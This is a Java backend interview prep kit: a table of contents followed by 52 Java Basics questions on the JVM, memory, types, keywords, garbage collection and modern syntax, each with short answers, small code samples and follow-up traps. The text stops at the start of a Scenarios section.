INTERVIEW PREP KIT

Java Backend Engineer

Fundamentals to advanced. Real scenarios, structured answers and the follow-up traps interviewers use, because interviews test decisions and trade-offs, not syntax.

2,576	47	5
QUESTIONS	CHAPTERS	TRACKS

How to use this kit

Interviewers rarely ask what a feature is. They ask what happens when it goes wrong, and why you chose it. Every question here is written in that shape.

1. Read the short answer first

Each answer opens with a crisp one or two sentence version you can say out loud, then the depth behind it.

2. Hide the answer, try it, then check

Cover the answer, say yours aloud, then compare. The web app has a reveal-and-flashcard mode for this.

3. Respect the follow-up traps

The shaded box lists the next questions a good interviewer asks. If you can answer those, you are ready.

4. Go in order, then by weakness

Theory builds the vocabulary; Scenarios test decisions. Mark what you miss and revisit it.

Levels: BASIC core knowledge every candidate needs INTERMEDIATE expected at 2-5 years ADVANCED senior and deep-dive territory

Baseline: Java 17/21, Spring Boot 3.x, Hibernate 6. Where interviews still ask about Java 8, the difference is called out.

Contents

Part I · Core Java

1906 questions

1. Java Basics 104 Q 6
2. OOPs (Design-Focused) 110 Q 36
3. Multithreading & Concurrency 104 Q 60
4. Java Networking 104 Q 85
5. Exception Handling 105 Q 118
6. Java Collections Framework 106 Q 146
7. Strings & Regular Expressions 108 Q 173
8. Advanced Java 104 Q 202
9. File I/O & Serialization 104 Q 234
10. Annotations & Reflection 104 Q 266
11. JDBC 105 Q 302
12. Java Testing (JUnit, Mockito) 108 Q 338
13. Web Development 104 Q 372
14. Java 8 & Functional Programming 108 Q 403
15. Design Patterns (Backend-Relevant) 104 Q 434
16. Java Security 105 Q 464
17. Cloud Computing Fundamentals 115 Q 498
18. Spring Framework & Hibernate 104 Q 527

Part II · Spring & Hibernate

210 questions

1. Spring Core, DI & Bean Lifecycle 26 Q 557
2. Spring Boot Auto-configuration & Config 26 Q 567
3. REST API Design, Validation & ControllerAdvice 26 Q 577
4. Transactions & Propagation 27 Q 587
5. Hibernate & JPA Internals 28 Q 597
6. Lazy vs Eager Loading & the N+1 Problem 26 Q 607
7. Caching & Performance Tuning 25 Q 616
8. Spring Security & JWT 26 Q 625

Part III · Database & Caching

105 questions

1. SQL Indexing & Optimization 15 Q 636
2. Transactions & Isolation Levels 15 Q 644
3. Hibernate Performance Tuning 15 Q 652
4. Redis & Caching Strategies 15 Q 660
5. Cache Invalidation Scenarios 15 Q 666
6. Flyway/Liquibase Migrations 15 Q 672

7. Elasticsearch Basics 15 Q 678

Part IV · System Design

170 questions

1. Fundamentals & Estimation 25 Q 686
2. Scalability, Caching & Load Balancing 25 Q 696
3. Data Stores & Messaging 25 Q 705
4. Microservices & Resilience 25 Q 715
5. Low-Level Design 30 Q 724
6. High-Level Design 20 Q 738
7. 15-Day Strategy & Interview Framework 20 Q 750

Part V · Docker, Cloud & DevOps

185 questions

1. Docker for Java Applications 32 Q 758
2. Deploying Spring Boot on AWS 30 Q 771
3. Kubernetes Basics 25 Q 784
4. CI/CD Pipelines 26 Q 795
5. Logging, Monitoring, Tracing, Prometheus & Grafana 25 Q 806
6. Terraform Fundamentals 24 Q 817
7. Mini-guide: Shipping a Spring Boot Microservice to Production 23 Q 827

PART I

Core Java

From JVM fundamentals to concurrency, collections and the functional toolbox.

18 chapters · 1906 questions

1. Java Basics
2. OOPs (Design-Focused)
3. Multithreading & Concurrency
4. Java Networking
5. Exception Handling
6. Java Collections Framework
7. Strings & Regular Expressions
8. Advanced Java
9. File I/O & Serialization
10. Annotations & Reflection
11. JDBC
12. Java Testing (JUnit, Mockito)
13. Web Development
14. Java 8 & Functional Programming
15. Design Patterns (Backend-Relevant)
16. Java Security
17. Cloud Computing Fundamentals
18. Spring Framework & Hibernate

CORE JAVA · CHAPTER 1

Java Basics

JVM, JDK/JRE, class loading, memory areas, data types, operators, static/final/volatile, initialization order, modern syntax and the classic gotchas.

104 questions **43** basic **48** intermediate **13** advanced

Core language and runtime fundamentals that interviewers use to check whether a candidate understands what the JVM actually does. Baseline is Java 17/21 with Java 8 differences called out.

Theory

Q1 What is the difference between JDK, JRE and JVM? BASIC

The **JVM** executes bytecode, the **JRE** = JVM + core libraries, and the **JDK** = JRE + developer tools (`javac`, `jar`, `jlink`, `jshell`).

- JVM: class loading, bytecode verification, interpretation + JIT compilation, garbage collection.
- Since Java 11 there is no separate JRE download; use the JDK, or build a trimmed runtime with `jlink`.

FOLLOW-UP TRAPS

- **Is the JVM platform independent?** No. Bytecode is portable; each OS needs its own JVM implementation.
- **Is Java purely interpreted?** No. HotSpot interprets first, then JIT-compiles hot methods (C1/C2).

#jvm #jdk

Q2 Is Java pass-by-value or pass-by-reference? BASIC

Always **pass-by-value**. For objects, the value copied is the *reference*, so a method can mutate the object but cannot make the caller's variable point elsewhere.

```
static void change(StringBuilder sb, String s) {
    sb.append("!");   // visible to caller
    sb = new StringBuilder("new"); // not visible
    s = s + "?";      // not visible, Strings are immutable
}
```

FOLLOW-UP TRAPS

- **What does the caller see after `change(sb, s)` with `sb="a"`, `s="b"`?** `sb` is `"a!"`, `s` is `"b"`.

#methods #references

Q3 What are the main components of the JVM architecture? BASIC

Class loader subsystem, runtime data areas, execution engine, and native interface.

- Class loader subsystem: loads, links and initializes classes.
- Runtime data areas: heap, per-thread stacks, program counter registers, native method stacks, metaspace (method area).
- Execution engine: bytecode interpreter, JIT compilers, garbage collector.
- JNI connects Java code to native libraries.

FOLLOW-UP TRAPS

- **Which areas are shared between threads?** Heap and metaspace. Stacks and PC registers are per-thread.
- **Is the JVM specification the same as HotSpot?** No. The spec defines behaviour; HotSpot, OpenJ9 and GraalVM are implementations.

#jvm #architecture

Q4 What are the phases of class loading? INTERMEDIATE

Loading, linking (verification, preparation, resolution) and initialization.

- Loading: read the `.class` bytes and create a `Class` object.
- Verification: check bytecode structure and type safety.
- Preparation: allocate static fields and set them to default values (`0`, `null`, `false`).
- Resolution: replace symbolic references with direct ones (may be lazy).
- Initialization: run static initializers and assign static field initializer values, in textual order.

FOLLOW-UP TRAPS

- **What value does a static field have during preparation?** The type default, not the declared initializer; the initializer runs in the initialization phase.
- **When is a class initialized?** On first `new`, static method call, non-constant static field access, or `Class.forName` with initialization. Compile-time constants (`static final int X = 5`) do not trigger it.

#class-loading #jvm

Q5 Explain the class loader hierarchy and the delegation model. INTERMEDIATE

Loaders delegate to their parent first; a child loads a class only if every ancestor failed. This prevents user code from replacing core classes like `java.lang.String`.

- Bootstrap loader: core `java.base` classes, written in native code (`getClassLoader()` returns `null`).
- Platform loader (extension loader before Java 9): other JDK modules.
- Application (system) loader: classpath/module path.

FOLLOW-UP TRAPS

- **Who breaks parent-first delegation?** Servlet containers (webapp loaders look locally first), OSGi, and some plugin frameworks.
- **Can two loaders load the same class name?** Yes, and the results are different runtime types; casting between them throws `ClassCastException`.

#class-loading #classloader

Q6 What are the JVM runtime memory areas? BASIC

Heap (objects), thread stacks (frames with locals and operand stack), metaspace (class metadata), PC registers, native stacks, plus off-heap memory such as direct buffers and the code cache.

- Heap and metaspace are shared; stacks are per-thread.
- Total process memory = heap + metaspace + thread stacks + code cache + direct memory + GC overhead.

FOLLOW-UP TRAPS

- **Does `-Xmx` cap the whole process?** No, only the heap. Native memory is additional.
- **Where do local variables live?** Primitives and references live in the stack frame; the objects they reference live on the heap.

#memory #jvm

Q7 How is the heap organized in generational collectors? INTERMEDIATE

Young generation (Eden + two survivor spaces) and old generation. New objects go to Eden; survivors of minor GCs are copied between survivor spaces and promoted to old after reaching a tenuring threshold.

- Based on the weak generational hypothesis: most objects die young.
- G1 uses equal-sized regions that play the eden/survivor/old roles dynamically.

> **FOLLOW-UP TRAPS**
> - **Where do huge objects go?** Large arrays can be allocated directly in old gen (G1: humongous regions).
> - **Is there still a permanent generation?** No, removed in Java 8.

#heap #gc

Q8 What does the thread stack contain, and what is a stack frame? BASIC

Each method call pushes a frame holding local variables, an operand stack and a reference to the constant pool. The frame is popped on return or exception unwinding.

- Size is set with `-Xss` (default typically 1 MB on 64-bit Linux).
- Too-deep recursion causes `StackOverflowError`.

> **FOLLOW-UP TRAPS**
> - **Does a larger `-Xss` always help?** It only delays overflow and multiplies memory cost by thread count.
> - **Are objects ever allocated on the stack?** Not by language semantics; escape analysis may scalar-replace them, which is an optimization.

#stack #memory

Q9 What is Metaspace and how does it differ from PermGen? INTERMEDIATE

Metaspace stores class metadata in native memory and replaced PermGen in Java 8. It grows dynamically instead of having a fixed size inside the Java heap.

- Limit it with `-XX:MaxMetaspaceSize`; unlimited by default.
- Metadata is freed when the defining class loader becomes unreachable.
- Interned strings and static field values moved to the heap (Java 7/8).

> **FOLLOW-UP TRAPS**
> - **What causes `OutOfMemoryError: Metaspace`?** Class loader leaks, excessive dynamic class generation (proxies, bytecode libraries), or a too-low max.
> - **Is Metaspace part of the heap?** No, it is native memory.

#metaspace #memory

Q10 List the primitive types, their sizes and default values. BASIC

`byte` 8-bit, `short` 16, `int` 32, `long` 64, `float` 32, `double` 64, `char` 16 (unsigned), `boolean` (JVM-dependent size, one bit of information).

- Fields default to `0`, `0.0`, `'\u0000'`, `false`; references default to `null`.
- Local variables have no default and must be definitely assigned before use.

> **FOLLOW-UP TRAPS**
> - **Is `char` signed?** No, it is the only unsigned integral type, range 0..65535.
> - **Does `int` size vary by platform?** No, sizes are fixed by the language spec.

#data-types #primitives

Q11 How do autoboxing and unboxing work? BASIC

The compiler inserts `Integer.valueOf(int)` for boxing and `intValue()` for unboxing. No magic at runtime, just generated calls.

- `Integer`, `Long`, `Short`, `Byte`, `Character` (0..127) cache small values; `Boolean` has two constants.
- `Float` and `Double` have no cache.

> **FOLLOW-UP TRAPS**
> - **What if the wrapper is `null` when unboxed?** `NullPointerException`.
> - **Why is boxing in tight loops slow?** Each boxed value may allocate an object and adds GC pressure; prefer primitive streams or arrays.

#autoboxing #wrapper-classes

Q12 What is the difference between widening and narrowing conversions? BASIC

Widening (`int` to `long`) is implicit and safe in range; narrowing (`long` to `int`) needs an explicit cast and can lose data via truncation of high bits.

- `int` to `float` and `long` to `double` are widening but can lose precision.
- Compound assignment (`+=`) includes an implicit narrowing cast.

> **FOLLOW-UP TRAPS**
> - **Does `byte b = 10;` compile without a cast?** Yes, constant expressions that fit the target type are allowed.
> - **What is `(byte) 200`?** `-56`, the low 8 bits reinterpreted as signed.

#casting #data-types

Q13 Why should you not use `float` / `double` for money? BASIC

Binary floating point cannot represent most decimal fractions exactly (`0.1`), so errors accumulate. Use `BigDecimal` (constructed from a `String`) or integer minor units.

- IEEE 754: 1 sign bit, exponent, mantissa.
- `BigDecimal` needs an explicit `RoundingMode` for non-terminating divisions.

> **FOLLOW-UP TRAPS**
> - **What does `new BigDecimal(0.1)` hold?** The exact binary value of the double, `0.1000000000000000055...`; use `BigDecimal.valueOf(0.1)` or a string.
> - **Does `BigDecimal.equals` ignore scale?** No. `2.0` and `2.00` are not equal; use `compareTo`.

#floating-point #bigdecimal

Q14 How does `char` relate to Unicode and integer arithmetic? INTERMEDIATE

`char` is a 16-bit UTF-16 code unit, and arithmetic on it promotes to `int`. Characters outside the BMP take two `char`s (a surrogate pair).

- Use `String.codePoints()` or `codePointAt` for real characters.
- `'a' + 1` is the `int` 98; `(char) ('a' + 1)` is `'b'`.

> **FOLLOW-UP TRAPS**
> - **What does `"😄".length()` return?** `2`, since it is two UTF-16 units.
> - **Does `c++` on a `char` compile?** Yes, compound/increment operators include the narrowing cast.

#char #unicode

Q15 Why are Strings immutable and what is the string pool? BASIC

`String` is final with a private final value array, which makes it thread-safe, cacheable by hash and safe as a map key. Literals are interned into a pool on the heap so identical literals share one instance.

- Immutability enables the pool, hash caching and security (class names, paths).
- Since Java 9 strings use compact Latin-1/UTF-16 byte arrays.

> **FOLLOW-UP TRAPS**
> - **Is the string pool in PermGen?** It was before Java 7; since Java 7 it is on the heap.
> - **Does `new String("a")` create one object?** It creates a new heap object; the literal `"a"` is in the pool separately.

#string #string-pool

Q16 Compare `String`, `StringBuilder` and `StringBuffer`. BASIC

`String` is immutable; `StringBuilder` is a mutable, unsynchronized builder; `StringBuffer` is the synchronized legacy version.

- Use `StringBuilder` for loops that append; `+` in a loop creates a builder per iteration.
- Java 9+ compiles `+` using `invokedynamic` (`StringConcatFactory`).

> **FOLLOW-UP TRAPS**
> - **Is `StringBuffer` useful for thread-safe building?** Rarely; each call is synchronized but compound operations are not atomic.
> - **Is `+` always slower than `StringBuilder`?** No, a single expression is optimized equally; only loops hurt.

#string #stringbuilder

Q17 What is the difference between `==` and `equals`? BASIC

`==` compares primitives by value and references by identity; `equals` compares logical content if overridden. The default `Object.equals` is identity.

> **FOLLOW-UP TRAPS**
> - **Why compare strings with `equals`?** Strings built at runtime are different objects even with equal content.
> - **Is `==` between `Integer` and `int` identity?** No, the `Integer` is unboxed and values compared.

#equality #object

Q18 What is short-circuit evaluation? BASIC

`&&` and `||` skip evaluating the right operand when the left already decides the result. `&` and `|` on booleans always evaluate both sides.

```
if (s != null && s.length() > 3) { /* safe */ }
```

> **FOLLOW-UP TRAPS**
> - **What does `s != null & s.length() > 3` do for null `s`?** Throws `NullPointerException`, since both operands evaluate.
> - **Does `?:` evaluate both branches?** No, only the chosen one.

#operators #logical

Q19 How do pre- and post-increment differ? BASIC

`++i` increments then yields the new value; `i++` yields the old value then increments. As standalone statements they are equivalent.

FOLLOW-UP TRAPS

- **Is `i++` atomic?** No, it is read-modify-write; even for `volatile` fields.
- **What does `i = i++` leave in `i`?** The original value, because the old value is assigned back after the increment.

#operators #increment

Q20 What happens on integer overflow in Java? INTERMEDIATE

It wraps silently in two's complement; no exception. `Integer.MAX_VALUE + 1` equals `Integer.MIN_VALUE`.

- Use `Math.addExact`, `multiplyExact`, `toIntExact` to throw `ArithmeticException`.
- Floating point overflows to `Infinity` instead.

FOLLOW-UP TRAPS

- **What is `Math.abs(Integer.MIN_VALUE)`?** `Integer.MIN_VALUE` (still negative), since +2^31 does not fit.
- **What about integer division by zero?** `ArithmeticException`; for doubles it gives `Infinity` or `NaN`.

#overflow #arithmetic

Q21 Explain `<<`, `>>` and `>>>`. INTERMEDIATE

`<<` shifts left filling zeros, `>>` is an arithmetic shift that preserves the sign bit, and `>>>` is a logical shift that fills with zeros.

- The shift distance is masked: `int` uses the low 5 bits, `long` the low 6 bits.
- `x >> 1` equals floor division by 2; `-7 >> 1` is `-4`, while `-7 / 2` is `-3`.

FOLLOW-UP TRAPS

- **What is `1 << 32` for an `int`?** `1`, because the distance is `32 & 31 = 0`.
- **What is `-1 >>> 1` for an `int`?** `2147483647`.

#bitwise #operators

Q22 How does the ternary operator determine its result type? ADVANCED

If both operands are numeric, binary numeric promotion applies; if one is a boxed type and the other a primitive, the result is unboxed. So `true ? 1 : 2.0` yields `1.0`.

- Mixed `Integer` / `int` with a `null` operand can cause an unboxing NPE.
- With two references the result is the lub (least upper bound) type.

FOLLOW-UP TRAPS

- **What does `Object o = true ? 1 : "x";` give?** An `Integer` 1; there is no numeric promotion with a `String`.
- **What does `flag ? (Integer) null : 0` do?** NPE: the `0` makes it an `int` expression, so the null unboxes.

#operators #ternary #promotion

Q23 How does the classic `switch` statement behave, including fall-through? BASIC

Execution jumps to the matching `case` and continues through subsequent cases until a `break` or the end. `default` can appear anywhere.

- Supported selector types: `byte`, `short`, `char`, `int`, their wrappers, `enum`, `String` (Java 7), and patterns (Java 21).

FOLLOW-UP TRAPS

- **Can a `case` label be a variable?** Only a compile-time constant (`final` with constant initializer).
- **What if the selector is a null `String`?** NPE in a classic switch.

#switch #control-flow

Q24 What are switch expressions and what do they improve? INTERMEDIATE

Since Java 14 `switch` can be an expression that produces a value, uses `->` arms without fall-through, and must be exhaustive.

```
int days = switch (month) {
    case FEB -> 28;
    case APR, JUN, SEP, NOV -> 30;
    default -> { int d = 31; yield d; }
};
```

- Over an enum or sealed type exhaustiveness is checked without `default`.
- Java 21 adds pattern matching and `case null`.

FOLLOW-UP TRAPS

- **Can you mix `->` and `:` labels?** No, a single switch uses one form.
- **What happens to a missing enum constant at runtime?** For switches without `default` over enums the compiler inserts a `MatchException` (Java 21) / `IncompatibleClassChangeError` path.

#switch #java14

Q25 How does the enhanced for loop work, and what are its limits? BASIC

For arrays it compiles to an index loop; for `Iterable` it uses `iterator()`. You cannot see the index or remove elements safely.

FOLLOW-UP TRAPS

- **Why `ConcurrentModificationException` when removing in for-each?** The list's `modCount` changes and the iterator detects it; use `Iterator.remove()` or `removeIf`.
- **Does reassigning the loop variable change the collection?** No, it is a local copy of the element reference.

#loops #iterator

Q26 How do labeled `break` and `continue` work? INTERMEDIATE

A label names an enclosing statement; `break label` exits it and `continue label` jumps to the next iteration of that labeled loop. It is structured, not a `goto`.

```
outer:
for (int i = 0; i < 3; i++)
    for (int j = 0; j < 3; j++) {
        if (j == 1) continue outer;
        if (i == 2) break outer;
    }
```

FOLLOW-UP TRAPS

- **Can you label any statement?** Yes, including blocks, but `continue` targets only loops.
- **Is `goto` usable?** It is a reserved but unused keyword.

#control-flow #labels

Q27 What does the `static` keyword mean for fields, methods, blocks and nested classes? BASIC

`static` members belong to the class, not to instances; they exist once per class loader and are initialized when the class is initialized.

- Static methods cannot access instance members directly and have no `this`.
- A static nested class has no implicit reference to an outer instance, unlike an inner class.

FOLLOW-UP TRAPS

- **Can static methods be overridden?** No, they are hidden; resolution uses the declared type.
- **Is a static field unique per JVM?** Per class loader, not per JVM.

#static #oop

Q28 What are static and instance initializer blocks, and when do they run? INTERMEDIATE

A `static {}` block runs once during class initialization; an instance `{}` block runs on every construction, before the constructor body (after `super()`).

- Both run in textual order together with field initializers.
- Instance initializers are rarely useful; constructors or field initializers are clearer.

FOLLOW-UP TRAPS

- **Can a static initializer throw a checked exception?** No, it must not complete abruptly with one; unchecked ones become `ExceptionInInitializerError`.
- **Can an instance initializer run without a constructor call?** No; the compiler copies it into every constructor that calls `super`.

#initialization #static

Q29 What does `final` mean on variables, methods and classes? BASIC

A final variable can be assigned once, a final method cannot be overridden, and a final class cannot be extended.

- A blank final field must be assigned in every constructor or initializer.
- Final fields get special safe-publication guarantees in the Java Memory Model.

FOLLOW-UP TRAPS

- **Is a final parameter allowed?** Yes, it just prevents reassignment inside the method.
- **Does `final` make a method faster?** Not meaningfully; the JIT devirtualizes by class hierarchy analysis anyway.

#final #oop

Q30 Does `final` make an object immutable? BASIC

No. `final` fixes the reference, not the object's state; `final List<String> l` can still have elements added.

- True immutability: final class, private final fields, no setters, defensive copies in and out.
- `List.of`, `Map.of` and records (shallowly) support this style.

FOLLOW-UP TRAPS

- **Does `Collections.unmodifiableList` copy?** No, it is a read-only view; changes to the backing list show through.
- **Is `String` deeply immutable?** Its state cannot change, but reflection and `Unsafe` can bypass that; the language contract holds.

#final #immutability

Q31 What does the `transient` keyword do? BASIC

`transient` excludes a field from default Java serialization; on deserialization it gets the type default (`null`, `0`, `false`).

- Used for derived data, caches, and secrets such as passwords.
- Does not apply to `static` fields, which are never serialized anyway.
- JSON libraries such as Jackson ignore `transient` unless configured; JPA treats it as non-persistent.

FOLLOW-UP TRAPS

- **Are field initializers rerun on deserialization?** No, constructors of Serializable classes are not called; restore state in `readObject` or `readResolve`.
- **Does the first non-serializable superclass get its constructor called?** Yes, its no-arg constructor.

#transient #serialization

Q32 What does `volatile` guarantee? INTERMEDIATE

Visibility and ordering: a write to a volatile variable happens-before every subsequent read of it, and reads/writes are not reordered across it. It does not provide atomicity for compound actions.

- Good for flags and safe publication of immutable objects.
- `long` and `double` volatile reads/writes are atomic (non-volatile may tear on 32-bit JVMs per spec).

FOLLOW-UP TRAPS

- **Is `volatile int count; count++` thread-safe?** No, use `AtomicInteger` or a lock.
- **Does volatile on an array make elements volatile?** No, only the reference.

#volatile #jmm

Q33 What does "effectively final" mean and why do lambdas need it? INTERMEDIATE

A local variable is effectively final if it is never reassigned after initialization. Lambdas and inner classes capture the *value*, so captured locals must not change.

FOLLOW-UP TRAPS

- **How do you mutate a captured counter?** Use a field, an `AtomicInteger`, or a one-element array; the reference stays effectively final.
- **Do captured fields have the same limit?** No, lambdas capture `this` and can mutate fields freely.

#lambda #final

Q34 What is the object initialization order? INTERMEDIATE

Class init: superclass static initializers, then subclass static, once. For each instance: superclass instance initializers and constructor body, then subclass instance initializers and constructor body.

- Within one class, static fields/blocks and instance fields/blocks run in textual order.
- Fields not yet initialized hold defaults, which is why calling an overridable method from a constructor is dangerous.

FOLLOW-UP TRAPS

- **What does a subclass method see in a field when called from the super constructor?** The default value (`0` / `null`), as the subclass field initializers have not run.
- **Are static blocks rerun for every `new`?** No, only on first class initialization.

#initialization #constructors

Q35 How do constructors, `this(...)` and `super(...)` chain? BASIC

Every constructor starts with `this(...)` or `super(...)`, explicit or implicit (`super()`). The call must be the first statement (Java 22 preview relaxes this for code that does not reference `this`).

- If a class declares any constructor, the compiler does not add the default one.
- If the superclass lacks a no-arg constructor, the subclass must call another explicitly.

FOLLOW-UP TRAPS

- **Can a constructor call both `this()` and `super()`?** No, only one; `this()` delegates and eventually reaches `super`.
- **Can constructors be inherited or `final`?** Neither; constructors are not members.

#constructors #oop

Q36 How does `var` (local variable type inference) work? BASIC

`var` lets the compiler infer the type of a local variable from its initializer (Java 10). The type is still static and fixed; `var` is not dynamic typing.

- Allowed: locals, for-loop variables, lambda parameters (Java 11).
- Not allowed: fields, method parameters/returns, no initializer, `null` initializer, array initializer `{1,2}`.
- `var` is a reserved type name, not a keyword; `var var = 1;` compiles.

FOLLOW-UP TRAPS

- **What is the type of `var list = new ArrayList<>();`?** `ArrayList<Object>`.
- **Does `var` hurt readability?** It can when the initializer does not reveal the type; use it when the right side is obvious.

#var #java10

Q37 What are records and what does the compiler generate? INTERMEDIATE

A record is a transparent, shallowly immutable data carrier (Java 16). The compiler generates private final fields, a canonical constructor, accessors (`name()`, not `getName()`), `equals`, `hashCode` and `toString`.

```
record Point(int x, int y) {
    Point {                       // compact constructor
        if (x < 0) throw new IllegalArgumentException();
    }
}
```

- Records are implicitly final, cannot extend classes, but can implement interfaces and have static members.
- No instance fields beyond the components.

FOLLOW-UP TRAPS

- **Is a record deeply immutable?** No, a `List` component can still be mutated; copy defensively in the compact constructor.
- **Can records be JPA entities?** No (final, no no-arg constructor); they work well for DTOs and projections.

#records #java16

Q38 What are text blocks? BASIC

Multi-line string literals delimited by `"""` (Java 15). Incidental indentation is stripped based on the least-indented line (including the closing delimiter), and trailing spaces are removed.

```
String json = """
    {"name": "A"}
    """;
```

- Line endings are normalized to `\n`.
- `\` at line end suppresses the newline; `\s` keeps a trailing space.

FOLLOW-UP TRAPS

- **Does the closing `"""` position matter?** Yes: placing it on its own line adds a trailing newline and affects indentation stripping.
- **Is a text block a different type?** No, it is a regular `String` (and is interned like any literal).

#text-blocks #java15

Q39 How does an object become eligible for garbage collection? BASIC

When it is no longer reachable from any GC root (thread stacks, static fields, JNI references, active class loaders). The GC traces reachability; it does not count references.

- Cyclic references among unreachable objects are collected.
- `System.gc()` is only a hint.

FOLLOW-UP TRAPS

- **Does setting a local variable to `null` help?** Rarely; the JIT already treats a variable as dead after its last use.
- **Can an eligible object be resurrected?** Via `finalize` in old code; finalization is deprecated for removal (Java 18).

#gc #reachability

Q40 What are the common garbage collectors and their defaults? INTERMEDIATE

Serial (single thread), Parallel (throughput), G1 (balanced, default since Java 9 on server-class machines), ZGC and Shenandoah (low pause, concurrent compaction).

- Select with `-XX:+UseSerialGC`, `-XX:+UseParallelGC`, `-XX:+UseG1GC`, `-XX:+UseZGC`.
- Generational ZGC arrived in Java 21 (`-XX:+ZGenerational`, default in 23).
- Java 8 default is Parallel GC.

FOLLOW-UP TRAPS

- **Which collector for tiny containers?** Serial; the JVM picks it when fewer than 2 CPUs or under ~1792 MB are available.
- **Is lower pause always better?** No, concurrent collectors cost throughput and CPU.

#gc #g1 #zgc

Q41 What is a stop-the-world pause and what are GC roots? INTERMEDIATE

A stop-the-world pause halts all application threads at a safepoint so the GC can work with a consistent heap. GC roots are the starting points for tracing: local variables on thread stacks, static fields, JNI handles, and live class loaders.

- Concurrent collectors shrink pauses but still need short pauses for root scanning.
- Time-to-safepoint can be long when a thread is in a counted loop.

FOLLOW-UP TRAPS

- **Does a minor GC stop the world?** Yes, in all generational collectors young collections pause the application.
- **Are pauses proportional to heap size?** For ZGC and Shenandoah no; for Parallel GC full collections yes.

#gc #safepoint

Q42 What are strong, soft, weak and phantom references? ADVANCED

Strong references block collection. Soft references are cleared under memory pressure (caches), weak ones at the next GC when only weakly reachable (`WeakHashMap`), phantom ones are enqueued after finalization and used for cleanup via `Cleaner`.

FOLLOW-UP TRAPS

- **Is `WeakHashMap` safe if the value references the key?** No, the key stays strongly reachable via the value and the entry never clears.
- **Why prefer `Cleaner` over `finalize`?** Finalizers are unpredictable, slow and deprecated for removal.

#references #gc

Q43 How does the JIT compiler work in HotSpot? INTERMEDIATE

The JVM starts by interpreting bytecode, profiles invocation and loop counts, and compiles hot methods to native code. Tiered compilation uses C1 (fast, light optimization) first and C2 (aggressive, profile-guided) for the hottest code.

- Compiled code lives in the code cache.
- Deoptimization falls back to the interpreter when an assumption (e.g., a monomorphic call site) breaks.
- `-XX:+PrintCompilation` shows compile events.

FOLLOW-UP TRAPS

- **Why is the first run of a benchmark slower?** Warm-up: code is still interpreted or C1-compiled.
- **Can the JIT make code faster than C++?** In some cases, thanks to runtime profile-based speculation.

#jit #performance

Q44 Which optimizations does the JIT perform? ADVANCED

Method inlining, escape analysis (scalar replacement, lock elision), loop unrolling, dead code elimination, range-check elimination and devirtualization.

- Inlining is limited by bytecode size (`MaxInlineSize`, `FreqInlineSize`).
- Escape analysis can avoid heap allocation for objects that do not leave a method.

FOLLOW-UP TRAPS

- **Does escape analysis put objects on the stack?** Not literally; it replaces the object by its fields in registers.
- **Does dead-code elimination break naive microbenchmarks?** Yes; unused results get removed, so use JMH `Blackhole`.

#jit #escape-analysis

Q45 What are the key JVM memory flags? BASIC

`-Xms` initial heap, `-Xmx` max heap, `-Xss` thread stack size, `-XX:MaxMetaspaceSize` metaspace cap, `-XX:MaxDirectMemorySize` direct buffers.

- Setting `-Xms` equal to `-Xmx` avoids resize pauses.
- In containers use `-XX:MaxRAMPercentage` (default 25%).

FOLLOW-UP TRAPS

- **Why does the process use more RSS than `-Xmx`?** Metaspace, stacks, code cache, direct buffers and GC structures.
- **Is the JVM container aware?** Yes since Java 10 (backported to 8u191).

#jvm-flags #memory

Q46 How does method overloading resolution work versus overriding? INTERMEDIATE

Overloads are chosen at compile time using the static argument types; overrides are dispatched at runtime using the object's actual class.

- Overload phases: exact/widening, then boxing, then varargs.
- Overriding requires the same signature, a compatible return type (covariant) and no weaker access.

FOLLOW-UP TRAPS

- **Are fields polymorphic?** No, field access uses the declared type.
- **Can an override throw broader checked exceptions?** No, only the same, narrower or unchecked ones.

#overloading #overriding #polymorphism

Q47 What are the access modifiers in Java? BASIC

`private` (class), package-private (default, same package), `protected` (package plus subclasses), `public` (everywhere). With modules (Java 9) a package must also be `exports`ed.

FOLLOW-UP TRAPS

- **Can a subclass in another package access a protected member via a parent-typed reference?** No, only via its own type or subtype.
- **Can top-level classes be private?** No, only public or package-private.

#access-modifiers #oop

Q48 How do varargs work? BASIC

`void f(String... a)` is compiled to `String[] a`; the compiler packs the arguments into an array. It must be the last parameter, and only one is allowed.

FOLLOW-UP TRAPS

- **What does `f()` pass?** An empty array, not null.
- **Which overload wins between `f(int)` and `f(int...)`?** The fixed-arity one; varargs is the last phase.

#varargs #methods

Q49 What do interface default, static and private methods add? INTERMEDIATE

Default methods (Java 8) let interfaces evolve without breaking implementors; static methods hold utilities; private methods (Java 9) share code between defaults. Interfaces still cannot hold instance state.

- If two interfaces supply the same default, the class must override and may pick one via `A.super.m()`.
- A class method always wins over an interface default.

FOLLOW-UP TRAPS

- **Is an interface with defaults an abstract class?** No: no constructors, no instance fields, multiple inheritance of behaviour only.
- **Can a default method override `Object.equals`?** No, it is a compile error.

#interfaces #java8

Q50 What is the `equals`/`hashCode` contract? INTERMEDIATE

Equal objects must have equal hash codes; `equals` must be reflexive, symmetric, transitive, consistent and false for `null`. Unequal objects may share a hash code.

- Override both together; hash collections break otherwise.
- Do not use mutable fields in `hashCode` for objects stored in hash sets/maps.

FOLLOW-UP TRAPS

- **What if only `equals` is overridden?** `HashMap` lookups likely miss, because the identity hashes differ.
- **What does `Objects.hash(a, b)` cost?** It allocates a varargs array; hand-write for hot paths.

#equals #hashcode

Q51 What are pattern matching for `instanceof` and sealed types? INTERMEDIATE

`if (o instanceof String s)` tests and binds in one step (Java 16). `sealed` classes/interfaces (Java 17) restrict permitted subtypes, which enables exhaustive `switch` without `default`.

```
sealed interface Shape permits Circle, Square {}
record Circle(double r) implements Shape {}
record Square(double a) implements Shape {}
double area(Shape s) {
    return switch (s) {
        case Circle c -> Math.PI * c.r() * c.r();
        case Square q -> q.a() * q.a();
    };
}
```

(The `switch` pattern form is final in Java 21.)

FOLLOW-UP TRAPS

- **What is the scope of the binding `s`?** Only where the match is definitely true, e.g. `if (!(o instanceof String s)) return;` makes `s` available after.
- **Does `null instanceof String s` match?** No, `instanceof` is false for null.

#pattern-matching #sealed #java17

Q52 What are the methods of `java.lang.Object` and which ones are commonly overridden? BASIC

`equals`, `hashCode`, `toString`, `getClass`, `clone`, `finalize` (deprecated), `wait`, `notify`, `notifyAll`. Typically `equals`, `hashCode` and `toString` are overridden.

- `getClass`, `wait`, `notify` and `notifyAll` are final.
- `wait` / `notify` require holding the object's monitor.

FOLLOW-UP TRAPS

- **Why is `clone` considered flawed?** It is protected, shallow, needs `Cloneable` (a marker without the method) and bypasses constructors; prefer copy constructors.
- **What does default `toString` print?** `ClassName@hexHashCode`.

#object #methods

Scenarios

